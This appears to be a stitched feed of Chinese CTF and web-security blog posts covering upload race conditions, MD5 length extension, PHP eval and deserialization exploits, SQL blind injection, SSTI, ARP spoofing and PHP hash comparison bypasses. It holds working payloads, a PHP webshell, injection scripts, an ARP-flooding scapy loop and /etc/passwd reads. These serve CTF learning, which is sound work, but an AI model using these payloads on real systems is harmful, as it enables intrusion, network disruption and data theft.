<?php if(isset($_GET['src'])){ copy($_GET['src'],$_GET['dst']); //... //check file unlink($_GET['dst']); //... }?>
这段代码看似一切正常,先通过copy($GET[‘src’],$GET[‘dst’])将文件从源地址复制到目的地址,然后检查$GET[‘dst’]的安全性,如果发现$GET[‘dst’]不安全就马上通过unlink($_GET[‘dst’])将其删除。但是,当程序在服务端并发处理用户请求时问题就来了。如果在文件上传成功后但是在相关安全检查发现它是不安全文件删除它以前这个文件就被执行了那么会怎样呢?
假设攻击者上传了一个用来生成恶意shell的文件,在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。
由上述过程我们可以看到这种“先将猛兽放进屋,再杀之”的处理逻辑在并发的情况下是十分危险的,极易导致条件竞争漏洞的发生。
仍以上述情境为例,攻击者通过不断地发起访问上传的恶意文件请求的方法成功的将原有处理不安全文件,一个脚本多线程发包,一个脚本不断去访问上传的文件生成shell文件
上传文件E→删除不安全文件E
的业务逻辑变成了
上传文件E→访问执行文件E,生成shell文件S→删除不安全文件E
不安全文件E虽然被删除了,但是有它生成出来的shell文件S却保留在了服务器中,对攻击者来说这个shell文件S才是后续攻击的关键。
]]>很早之前蓝鲸ctf的时候就遇到了hash扩展长度攻击的问题,当时没有整理,趁把这道题放夏令营的时候整理一下
<?php //$flag and $secret in flag.php and strlen($secret)==15include("flag.php");if(!isset($_POST['username'])){show_source(__FILE__);die();}$username = $_POST["username"];$password = $_POST["password"]; if (!empty($_COOKIE["getmein"])) { if (urldecode($username) === "admin" && urldecode($password) != "admin") { if ($_COOKIE["getmein"] === md5($secret . urldecode($username . $password))) { echo "Congratulations! You are a registered user.\n"; die ("The flag is ". $flag); } else { die ("Your cookies don't match up! STOP HACKING THIS SITE."); }}else { die ("You are not an admin! LEAVE.");}}setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));if (empty($_COOKIE["source"])) { setcookie("source", 0, time() + (60 * 60 * 24 * 7));}else {if ($_COOKIE["source"] != 0) { echo ""; // This source code is outputted here}}
我们已知的是:
md5($secret.adminadmin)= 2aba05712564dde4fb15fdb5f0e0de66;以及$secret的长度为15;
我们要得到的是如何构造一个$password让
md5($secret . urldecode($username . $password)))已知,并构造cookie;
此处我们并不知道$secret的值是什么,password又不能等于admin,所以我们需要用到hash长度扩展攻击;相当于是现在我们不知道字符串是什么。只知道其长度,通过hash长度拓展攻击,我们可以得到在原字符串的基础上进行了补位以及添加新字符串的hash值
首先,当hash函数拿到需要被hash的字符串后,先将其字节长度整除64,取得余数。如果该余数正好等于56,那么就在该字符串最后添加上8个字节的长度描述符(具体用bit表示)。如果不等于56,就先对字符串进行长度填充,填充时第一个字节为hex(80),其他字节均用hex(00)填充,填充至余数为56后,同样增加8个字节的长度描述符(该长度描述符为需要被hash的字符串的长度,不是填充之后整个字符串的长度)。以上过程,称之为补位。
补位完成后,字符串以64位一组进行分组(因为上面的余数为56,加上8个字节的长度描述符后,正好是64位,凑成一组)。字符串能被分成几组就会进行多少次“复杂的数学变化”。每次进行“复杂的数学变化”都会生成一组新的registers值供下一次“复杂的数学变化”来调用。第一次“复杂的数学变化”会调用程序中的默认值。当后面已经没有分组可以进行数学变化时,该组生成的registers值就是最后的hash值。
(原理原文链接:www.freebuf.com/articles/web/69264.html)
也就是说我们先对$secret.adminadmin进行补位,然后添加一个新的字符串,用补位完成后那个分组生成的register值对新添加的字符串进性运算得到最后的hash值,而补位完成后那个分组的register值和我们已知的md5($secret.adminadmin)值相等。
HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响。
安装
git clone https://github.com/bwall/HashPumpapt-get install g++ libssl-devcd HashPumpmakemake install
所需数据
root@ubuntu:~/HashPump# hashpumpInput Signature: 2aba05712564dde4fb15fdb5f0e0de66//hash值Input Data: adminadmin//加密的明文Input Key Length: 15//key长度Input Data to Add: 1286d5b319a75f5f498dac9a52dcb360e//新生成的md5也就是getmeinadminadmin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x001//admin.$passowrd
]]>拉取镜像:
docker pull imagename
查看docker当前镜像:
docker images
新建一个docker容器,并映射端口号:
docker run -d -p host port:docker port imagename
用到的一些命令:
-d 后台运行-P(大写) 随机把容器的端口映射到一个主机未使用的高端口-p(小写) 格式为主机端口:容器端口 ,自选端口映射-i 以交互模式运行容器,常与-t连用-t 为容器重新分配一个伪输入终端,常与-i连用
查看运行中的docker容器:
docker ps -a
进入一个docker容器:
docker exec -it container—id bash
拷贝本地文件到docker:
docker cp /root/ container id:容器内路径(var/www/html)
开始/停止容器
docker start/stop container id
首先我们在github下载开源的Web题目源码
php4fun的好多challenge,选取了challenge2
利用xftp6将文件上传到服务器root文件夹下,cd命令进入该文件,
docker build -t w .
使用下载的dockerfile文件创建一个命名为w的镜像
新建容器,并随机分配端口
docker run -d -P w
访问32774端口,题目搭建完成
docker: Error response from daemon: OCI runtime create failed: container_linux.go:345: starting container process caused "exec: \"httpd-foreground\": executable file not found in $PATH": unknown.
解决方案 更改文件权限
chmod +x httpd-foreground
PHP 中的变量用一个$+变量名来表示。变量区分大小写,我们还可以利用${xxx}的形式来表达一个变量。
函数、方法、静态类变量和类常量只有在 PHP 5 以后才可在 {$} 中使用。然而,只有在该字符串被定义的命名空间中才可以将其值作为变量名来访问。只单一使用花括号 ({}) 无法处理从函数或方法的返回值或者类常量以及类静态变量的值。
eval()函数函数的作用如下: eval() 函数把字符串按照 PHP 代码来计算。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。
题目意思:接受一个$_GET[‘str’]的传参,在经过addslashes()函数转义特殊符号与正则表达式检验之后,传入eval()当中拼接到$str=””;变量当中。
?str=${phpinfo()}
但phpinfo()并非变量名却依旧执行了该命令,在 php 中,可以接受函数的返回值作为变量名,而phpinfo()的返回值为TRUE,所以先将phpinfo()执行了,将返回值返回作为了变量名。
读取flag.php的内容:
?str=${eval($_REQUEST[c])}&c=system('cat *');
执行了eval($_REQUEST[c],并用其返回值表达了一个变量。
]]>其主要原理是局域网内的”攻击机”通过冒充同网络号下的”受害者主机”的物理地址(mac地址),通过欺骗网关,让网关原来应该发给“受害者主机”的数据包转而发给“攻击机”,这就导致了“受害者主机”无法收到应答的数据包,也就等于断网了。本实验的过程也就是常说的 ARP欺骗。
IP地址:为了使连入Internet的众多电脑主机在通信时能够相互识别,Internet中的每一台主机都分配有一个唯一的32位地址,该地址称为IP地址,也称作网际地址。IP地址由4个数组成,每个数可取值0~255。
子网掩码只有一个作用,就是将某个IP地址划分成网络地址和主机地址两部分。 子网掩码的设定必须遵循一定的规则。与IP地址相同,子网掩码的长度也是32位,左边是网络位,用二进制数字“1”表示;右边是主机位,用二进制数字“0”表示。例如IP地址为“192.168.1.1”和子网掩码为“255.255.255.0”。其中,“1”有24个,代表与此相对应的IP地址左边24位是网络号;“0”有8个,代表与此相对应的IP地址右边8位是主机号。这样,子网掩码就确定了一个IP地址的32位二进制数字中哪些是网络号、哪些是主机号。
大家都知道,从一个房间走到另一个房间,必然要经过一扇门。同样,从一个网络向另一个网络发送信息,也必须经过一道“关口”,这道关口就是网关。顾名思义,网关(Gateway)就是一个网络连接到另一个网络的“关口”。同一局域网下的网关相同。
大家好,我是练习时长两小时半的个人练习生,喜欢唱、跳、arp,突发奇想想学一下rap,研究了大半天发现工具基本上用不了,arpattacker的自动攻击频率太低,所以只能自己写包(dbp,不会自己写,菜哭),之后尝试了下Windows的arpspoof简单软件,可以实现对手机ip的断网操作,但是电脑无法断开,在linux上安装了arpspoof,安装和虚拟机的网络上遇到了一些问题,下面记录一下问题的解决方法。
apt-get install dsniff ssldump
需要使用桥接模式,直接连接物理网络,在NAT模式中,执行攻击命令时会报错
libnet_open_link(): UID/EUID 0 or capability CAP_NET_RAW required
NAT模式会共享主机的ip地址。
查询本机网卡和ip地址
ifconfig
查询网关
route -n
查询连接在局域网的ip地址
fping -asg 192.168.1.0/24fping -asg 网口.0/24nmap -sP 192.168.1.0/24nmap -sP 网口.0/24
攻击命令
sudo -s arpspoof -i ens33 -t 192.168.1.102 192.168.1.1sudo -s arpspoof -i 网卡 -t 攻击ip 网关
IP转发:
echo 1 > /proc/sys/net/ipv4/ip_forwardcat /proc/sys/net/ipv4/ip_forward
图片捕获:(流量转发后网页浏览很卡,很多图片和网站打不开,体验极差
driftnet -i ens33
抓取账号密码:(好像已经没用了,试了几个网站都抓不到
ettercap -Tq -i eth0
Linux下实现arp攻击scapy是一个很好的工具,还是先从断网开始,
p = Ether()/ARP()//构造一个包p.hwdst = 'b4:6d:83:88:24:08' //要攻击的主机mac地址p.pdst = '192.168.1.108' //要攻击的主机的ipp.psrc = '192.168.1.1' //网关ipp.hwsrc = 'aa:aa:aa:aa:aa:aa' //随便写个mac地址while 1: sendp(p,inter=0.005,count=9999)//无限发送,按Ctrl+z停止发送
csdn上的一篇文章,原文链接:https://blog.csdn.net/qq_35315699/article/details/73863632
之后再学一下怎么用python写包(咕~,话说有内网我是不是可以直接用wireshark????
]]>第一次和队友一块肝,虽然输出不高(划掉,几乎没有输出),不过也是坚持到了最后,记一下比赛过程中的思路和之后的解题步骤。
看源码发现提示
<!--Please test index.php?file=xxx.php --><!--Please get the source of hint.php-->
php封装协议file=php://filter/read=convert.base64-encode/resource=hint.php可读index.php和hint.php的源码,base64解码得到源码如下
Index.php<html><?phperror_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"];if(!isset($file)){echo 'Missing parameter'.'<br>';}if(preg_match("/flag/",$file)){die('hack attacked!!!');}@include($file);if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); }}$payload = unserialize($payload);}else{ echo "Missing parameters"; } ?><!--Please test index.php?file=xxx.php --><!--Please get the source of hint.php--></html>Hint.php<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n";}public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag();}}class Flag{public $file;public $token;public $token_flag;function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000));}public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } }}}?>
可以看到是反序列化的问题,存在正则匹配ban掉了“flag”,所以不能直接读flag.php,反序列化构造中也需要用到flag,url地址三斜杠可绕过foreach的遍历;
__wakeup中会this->$k = null;会将this指向空,需要绕过,__wakeup触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。所以再反序列化后,将Handle类的对象个数改变就可绕过;
MD5的if($this->token === $this->token_flag)
本来以为是伪随机数种子,后来发现只需让$F->token=&$F->token_flag;即可
&表示取变量,让两个变量值关联起来
反序列化脚本
<?phpclass Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n";}public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag();}}class Flag{public $file;public $token;public $token_flag;function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000));}public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } }}}$F = new Flag('flag.php');$F->token=&$F->token_flag;$H = new Handle($F);$test = serialize($H);echo $test?>
由于private的特性,需要在Handle和handle对象前面加上%00 或者/00
,\00但是前面的就应该改为S,不是s,因为如果是S那么类似\00abc 就是\0 a b c 四个字符,所以就是S:14:”\00Handle\00handle”
payload:O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3: {s:4:"file";s:8:"flag.php";s:5:"token";s:32:"12f73080e04ce0d8e95defb577ebc3f4"; s:10:"token_flag";R:4;}}
最终payload:
http://cce097dcc8944553906620bb82f4ad36dd057d6462bd4e30.changame.ichunqiu.com ///?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle"; O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5: "token";s:32:"12f73080e04ce0d8e95defb577ebc3f4";s:10:"token_flag";R:4;}}
拿到flag
过滤了一堆东西,or
|
benchmark
sleep
if
get_lock
case
时间盲注过滤了三个sleep、benchmark和get_lock函数,但是后来超哥发现可以通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
admin' union select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')#
确实可以产生延迟,但是延迟之后是404,而且由于过滤了if,无法通过延迟进行查询,卡住)
之后队友发现通过pow函数,在某一特定范围内显示的登陆失败,超过某一范围是数据库操作失败,测试后发现’ union select pow(2,2014) #数据库操作失败,2013就是登陆失败,以此结合查询语句找到数据库名
语句:
a'union select pow(2,1997+ascii(substr(database(),1,1)))#
不知道为啥python显示中文为乱码,后来发现需要a.content.decode(‘utf-8’),虚拟机里跑不出来,需要装个python环境了
import requestsi=96j=0r=requests.session()for j<20: while i<156: url='http://7325a6806d8140fd91c5b9b3082a6ed240b2e3ab52c64a46.changame.ichunqiu.com/?tdsourcetag=s_pctim_aiomsg' data={'username':'a\'union select pow(2,"+str(2013-i)"+ascii(substr(database(),"+str(j)+",1))) #','password':'1'} a=r.post(url,data=data) if"数据库操作失败"in a.content.decode('utf-8'): print(i) break else :i=i+1 j=j+1 print(i)
得到数据库名ctf,现在问题是or被ban了,information也不能用了,没法查表名没法查列名,老大说可以子查询绕过,通过构造子查询 给本来被ban(或者爆不出)的字段名换了个”名字”
先构造子查询的联合查询语句并指定别名
1' UNION SELECT 1,2,admin_x,4,5 FROM (SELECT 1 as admin_1,2 as admin_2,3 as admin_3 from admin WHERE 1=2 UNION SELECT * from admin)x %23
猜到表名为user,照着老大的博客构造还弄了好久,那个别名需要定义,否则会出错
a' union select pow(2,1997+ascii(substr((select admin_2 from (select 1 as admin_1 ,2 as admin_2 from user where 1=2 union select * from user)x) ,2,1))) #
改造上面的脚本爆出密码(队友爆出来的,脚本出了问题,burp手注,太慢了,菜醒)
得到密码登陆。
其他师傅们的思路 select cot(0)报错,select cot(1) 可以执行,之后就是布尔盲注结合子查询。
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
有个eval
‘.’可以实现字符串的拼接,后来发现对16进制及以上进制异或运算可以得到字母,所给白名单又有base_convert函数,构造
base_convert(1751504350,10,36)(base_convert(784,10,36));(语句是system(ls))
看得到flag,但是现在问题是,cat flag.php 需要空格和.,用代替发现还是需要空格,cat<f中<又被处理成了小于号,卡住)
异或运算,用两个白名单函数和空格+异或,得到十进制数字,dechex后
再与那两个白名单函数异或,就可以回到空格,就可以执行system(cat *)拿到flag
,队友写的脚本,还不会写php,回头研究下(菜是原罪
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(19)^tan^exp))(语句是system(cat *)点号将cat和 *拼接了起来
其他队伍使用的是 system(getallheaders(){9}),然后在headers里传了个9,tql⑧。
文件包含,前面有文件读取操作
phar://
将
<?php @eval($_POST[a]);?>
写入1.php,将1.php压缩到1.zip,改后缀为1.jpg
?route=phar://upload/1.jpg.jpg/&a=
用蚁剑连接可以拿shell;
]]>""" Flask Session Cookie Decoder/Encoder """__author__ = 'Wilson Sumanang, Alexandre ZANNI'import sysimport zlibfrom itsdangerous import base64_decodeimport astimport argparseparser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI")subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')parser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', help='Session cookie structure', required=True)parser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', help='Session cookie value', required=True)args = parser.parse_args()from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key): self.secret_key = secret_keydef session_cookie_encoder(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure)except Exception as e: return "[Encoding error]{}".format(e)def session_cookie_decoder(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith(b'.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value)except Exception as e: return "[Decoding error]{}".format(e)if __name__ == "__main__":if(args.subcommand == 'encode'): if(args.secret_key is not None and args.cookie_structure is not None): print(session_cookie_encoder(args.secret_key, args.cookie_structure))elif(args.subcommand == 'decode'): if(args.secret_key is not None and args.cookie_value is not None): print(session_cookie_decoder(args.cookie_value,args.secret_key)) elif(args.cookie_value is not None): print(session_cookie_decoder(args.cookie_value))
#
加密示例 $ python2 session_cookie_manager.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'输出:eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw解密示例 $ python2 session_cookie_manager.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'输出:{u'username': 'admin', u'number': '326410031505'}无密钥:$ python2 session_cookie_manager.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'
hgame的happypython就是先解密session再将id改为1后加密,替换session即可登陆。
]]>什么是SSTI?
SSTI全称Server-Side-Template-Injection,即服务端模版注入攻击。
攻击成因是服务端模版引擎将用户的输入直接渲染进模版,而未做过滤或者对象关系映射(ORM)。
这样,攻击者可以控制渲染进模版的内容。通过直接输入模版渲染的关键词例如{ },即可将恶意代码注入模版中执行。最严重的后果是getshell。
现在有很多常见的模版渲染引擎,而最常用也最长出问题的Web框架就是基于Python的Flask框架了。
config对象是一个Flask模板全局变量,代表“当前配置对象(flask.config)”。它是一个类似于字典的对象,其中包含了应用程序所有的配置值,包含若干独特方法的子类:from_envvar,from_object,from_pyfile,以及root_path。在大多数情况下,会包含数据库连接字符串,第三方服务凭据,SECRET_KEY之类的敏感信息。
对于新加载的模块,from_object方法会将那些变量名全是大写的属性添加到config对象中。注入payload{ config.items() }就可以轻松查看这些配置了。
__mro__中的MRO代表方法解析顺序,并且在这里定义为,“是一个包含类的元组,而其中的类就是在方法解析的过程中在寻找父类时需要考虑的类”。__mro__属性以包含类的元组来显示对象的继承关系,它的父类,父类的父类,一直向上到object(如果是使用新式类的话)。它是每个对象的元类属性,但它却是一个隐藏属性,因为Python在进行内省时明确地将它从dir的输出中移除了(见Objects/object.c的第1812行)。
__subclasses__属性则在这里被定义为一个方法,“每个新式类保留对其直接子类的一个弱引用列表。此方法返回那些引用还存在的子类”。
使用__mro__属性来访问对象的父类,使用__subclasses__属性来访问对象的子类
使用索引2来选择object类。现在我们到达了object类,我们使用/subclasses属性来dump应用程序中使用的所有类(找到file类的索引)
找到object:
{ ‘’.__class__.__mro__[2].__subclasses__() }
任意文件读取:
{ ‘’.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read() }
通过os模块可以进行一些文件的操作
{[].\__class__.\__base__.\__subclasses__()}
的方法来访问所有模块
访问os模块都是从warnings.catch_warnings模块入手的。找到catch_warnings的位置(上面查到的所有模块的索引,这里是59,即第59个模块);
知道了位置后,再用func_globals看看该模块有哪些global函数;
在url后面输入
{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}
这里能看到linecache,我们要访问的os模块就在这里,现在我们看看这个模块的各种属性:
在url后面输入
{[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__}
然后在很长的返回值里就可以找到os模块了
然后就可以用
{[].\__class__.\__base__.\__subclasses__()[59].\__init__.func_globals['linecache'].__dict__['o'+'s']}
来代替os模块的使用了,之所以写__dict__[‘o’+’s’],而不写__dict__[‘os’],是因为os这个字符串被禁用了,只能使用python里面字符串的拼接绕过现在os.read()
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].read()[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].open()[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].listdir('.')
cg题的payload
http://ssh2.evi0s.com:8080/%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].listdir('..')%7D%7D 看到flag文件文件读取打开http://ssh2.evi0s.com:8080/%7B%7B[].__class__.__base__.__subclasses__()[40]('/Th1s_th3_fl1l1l11llll1g').read()%7D%7D
过滤了class怎么办,base64编码绕过,招新赛的payload
http://132.232.92.163:6733/?name={[].__getattribute__('X19jbGFzc19f%27.decode(%27base64')).__base__.__getattribute__([].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__,'X19zdWJjbGFzc2VzX18='.decode('base64'))()[58].__init__.func_globals['linecache'].__dict__.os.listdir("/home/blacsheep/")}
]]>十多个php的绕过,题目挂了,用了一个师傅博客里的图片(之前忘写了,懒~)
==和!=之间不会去判断数据类型,1和2又都被强制转换为了字符型,所以不能用数组,可用0e开头的MD5值绕过
===则会判断数据类型,两个必须完全相等才返回true,所以用数组绕过,不同值的数组都返回0(详细见https://blog.csdn.net/qq_19980431/article/details/83018232)
php里的特性+和.会被解析为_,所以H_game写为H+game,或者是$_SERVER[‘QUERY_STRING’] 是不会自动URLDecode 的,所以我们只需要传个URL编码过的参数名即可绕过这里
数组绕过
这里被难住了,必须是http开头,开头的提示为admin.php,本来想着可以file协议忽略前面的地址直接读取文件内容,但是http的限制没法绕过
parse_url 里的 PHP_URL_HOST 参数获取的是 最后一个@ 符号后面的域名,而 curl 使用的是第一个 @ 符号后面的域名,又有only localhost的提示,这样我们就可以用 http://@127.0.0.1:80@www.baidu.com/admin.php 来绕过,从而读取admin.php
这里又卡住了,之前做bugku的时候对file_getcontent理解不到位,file_getcontent内容可以执行为协议,所以直接filename=php://filter/read=convert.base64-encode/resource=flag.php就可以绕过php_exits.
最终payload为:str1=s878926199a&str2=s155964671a&str3[]=22&str4[]=1&H+game[]=9e10000000000%00&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
我们需要POST的参数,door,key,gate。但这里secret是未知的,所以我们需要对door进行处理使secert的值为空,对于hash_mac函数
hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = FALSE ] ) : string
参数
algo:
要使用的哈希算法名称,例如:”md5”,”sha256”,”haval160,4” 等。
data:
要进行哈希运算的消息。
key:
使用 HMAC 生成信息摘要时所使用的密钥
raw_output:设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串。
当data的数据为数组时,返回空,所以传入data[]=0,secret的值就变成了null,然后gate的值是对key进行shal256加密,密钥为空。key的值可以确定,这里又是MD5碰撞的问题,在网上找到了一篇博客,下附地址:
https://www.k2zone.cn/?p=2019
双MD5,得到key可取key=7r4lGXCH2Ksu2JNT3BYM
之后可求gate
php> var_dump(hash_hmac(‘sha256’, ‘7r4lGXCH2Ksu2JNT3BYM’, NULL)) string(64) “81f581b7553943f5041f054ca92e5e7e490e2c40296a93d94d214f1 36aa84fe6”
最终payloadgate=81f581b7553943f5041f054ca92e5e7e490e2c40296a93d94d2 14f136aa84fe6&key=7r4lGXCH2Ksu2JNT3BYM&door[]=1
]]>hgame里的baby-spider,一开始直接被反日,虚拟机关机,提醒写爬虫要加浏览器伪造,后来一直显示you are wrong,最后看了别人的脚本才发现是css上出了问题,把第十次之后的cookie打印下来再传到浏览器上可以发现爬取的题目与显示的题目无关,网页上的渲染把题目修改了,加载公式时在network里可以看到引用了一个新的字体,利用python 里的函数 str.maketrans() 可以把css渲染后的字体转换出来
fuck = str.maketrans('01345679', '10694357') question = getquestion1()b = question.translate(fuck)
第三步
.question-container span{display: none;}.question-container{font-family: Ariali;font-weight: bold;}.question-container:after{content:"(776299203/883952569)+(547789483)*683263066-(215127140)=?";}
直接爬取style.css里的 .question-container:after里的content内容
]]>PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s155964671a0e342768416822451524974117254469s1184209335a0e072485820392773389523109082030s1665632922a0e731198061491163073197128363787s1502113478a0e861580163291561247404381396064s1836677006a0e481036490867661113260034900752s1091221200a0e940624217856561557816327384675s155964671a0e342768416822451524974117254469s1502113478a0e861580163291561247404381396064s155964671a0e342768416822451524974117254469s1665632922a0e731198061491163073197128363787s155964671a0e342768416822451524974117254469s1091221200a0e940624217856561557816327384675s1836677006a0e481036490867661113260034900752s1885207154a0e509367213418206700842008763514s532378020a0e220463095855511507588041205815s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s214587387a0e848240448830537924465865611904s1502113478a0e861580163291561247404381396064s1091221200a0e940624217856561557816327384675s1665632922a0e731198061491163073197128363787s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s1665632922a0e731198061491163073197128363787s878926199a0e545993274517709034328855841020
<?phphighlight_file(__file__);include "flag.php";if (!isset($_GET['a']) || !isset($_GET['b'])) { die("GET me a & b");}if ($_GET['a'] !== $_GET['b'] && md5($_GET['a']) === md5($_GET['b'])) { echo $flag;} else { echo "No No No";}?>
当MD5接受的参数为数组时,其值都为0,所以构造payload:
?a[]=1&b[]=2
<?phphighlight_file(__file__);include "flag.php";if (!isset($_GET['a']) || !isset($_GET['b'])) { die("GET me a & b");}if ((string) $_GET['a'] !== (string) $_GET['b'] && md5($_GET['a']) === md5($_GET['b'])) { echo $flag;} else { echo "No No No";}?>
“===”以及强制字符串类型转换,这时只能用真实碰撞了
碰撞工具fastcoll下载地址:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
创建a.txt,内容为1
运行fastcoll 输入以下参数。 -p 是源文件 -o 是输出文件
fastcoll_v1.0.0.5.exe -p a.txt -o 1.txt 2.txt
生成两个md5值相同,但实际内容不同的文件
